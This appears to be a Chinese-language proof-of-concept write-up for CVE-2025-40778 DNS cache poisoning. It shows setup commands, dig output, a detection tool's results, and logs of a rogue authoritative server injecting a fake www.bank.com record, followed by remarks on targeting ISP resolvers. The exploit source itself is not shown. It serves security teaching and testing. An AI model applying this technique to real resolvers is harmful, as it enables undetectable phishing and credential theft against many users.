通过附加记录注入演示 DNS 缓存投毒漏洞的教育性示例。
仅供教育目的使用
本工具仅用于教育和授权安全测试目的。未经授权将本工具用于您不拥有或未经明确许可测试的系统,属于违法行为且不道德。
作者对本工具被滥用或造成的损害不承担任何责任。
此 PoC 演示了受入侵的权威 DNS 服务器如何将投毒记录注入 DNS 响应,从而可能在用户不知情的情况下将用户重定向到恶意服务器。
攻击向量:
可能的应用场景:
👤 作者与联系方式
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
此工具检测是否可以利用 CVE-2025-40778 漏洞
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
描述:在此步骤中,您启动模拟受入侵名称服务器的恶意权威 DNS 服务器。该服务器监听特定 IP 和端口(127.0.0.2:5301),准备将投毒的 DNS 记录注入响应中。配置完成后,它将使用正确的 IP 地址响应 www.test.local 的合法查询,但同时为 www.bank.com 注入一条指向攻击者控制 IP 的恶意记录。这种双重响应行为是缓存投毒攻击的核心——易受攻击的 DNS 解析器将同时缓存合法答案和投毒记录,即使只请求了一个域名。
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
描述:在此步骤中,您通过本地解析器(BIND)执行标准 DNS 查询,以验证基础设施是否正常工作。对 www.test.local 的查询应如预期返回合法 IP 地址(192.168.0.136)。此时,对最终用户而言响应看起来完全正常——没有任何可见的入侵迹象。然而,在幕后,易受攻击的 DNS 解析器已经缓存了两条记录:您请求的合法记录以及注入在响应附加部分中的 www.bank.com 投毒记录。此步骤确认您的 DNS 解析器成功与恶意权威服务器通信并处理了其响应。
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
描述:此步骤从攻击者的角度揭示了缓存投毒成功的证据。恶意 DNS 服务器的日志显示它收到了对 www.test.local 的查询,响应了合法答案,并成功注入了 www.bank.com 的投毒记录。"RRs: A,A" 表示响应中发送了两条 A 记录——一条合法,一条恶意。此时,受害者的 DNS 缓存已被入侵。此后该解析器对 www.bank.com 的任何查询都将返回攻击者的 IP(192.168.0.100),而非真实的银行网站,从而实现用户看到正确 URL 但连接到恶意服务器的透明钓鱼攻击。该攻击对最终用户不可见,并将持续到 DNS 缓存过期(TTL)为止。
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
这在实践中意味着什么:
想象您是一位普通用户,试图访问银行的网站。您仔细在浏览器中输入 www.bank.com——URL 100% 正确,没有拼写错误,没有来自邮件的可疑链接。浏览器的地址栏显示您信任的确切域名。一切看起来都合法。
但幕后实际发生的是:
您公司的 DNS 服务器已被攻击者入侵,他们利用此漏洞投毒了其缓存。当您的计算机询问"www.bank.com 在哪里?"时,被投毒的 DNS 返回的是攻击者服务器的 IP 地址,而非真实银行的地址。
攻击剖析
攻击者可以窃取什么:
为什么如此危险:
该攻击对受害者完全不可见。没有警告,没有危险信号,普通用户无法检测到它。即使是安全意识强的专业人士也可能成为受害者,因为攻击发生在基础设施层面,而非用户设备上。一台被入侵的 DNS 服务器可以同时影响数千名用户,使其成为针对组织的网络犯罪分子的高效攻击向量。
结论:CVE-2025-40778 使攻击者能够将信任武器化。当我们赖以浏览互联网的基础设施本身受到入侵时,即使是最谨慎的用户也会变得脆弱。这就是为什么理解、测试和缓解此漏洞对任何组织的安全态势都至关重要。
关键要求:要使此攻击成功,受害者必须使用被入侵的 DNS 解析器。该攻击不直接针对最终用户的设备——而是针对用户依赖以浏览互联网的 DNS 基础设施。
真实世界的攻击目标:
攻击者的主要目标是入侵服务大量用户群体的 DNS 解析器。最有价值的目标包括:
为什么这很重要:
攻击的有效性随 DNS 解析器的用户群体规模而扩大。入侵一个 ISP 的 DNS 服务器,您就可能入侵每个未手动更改 DNS 设置的客户。这就是为什么基础设施层面的 DNS 安全至关重要——单个易受攻击的解析器可以创建影响数千或数百万信任该基础设施安全性的用户的巨大攻击面。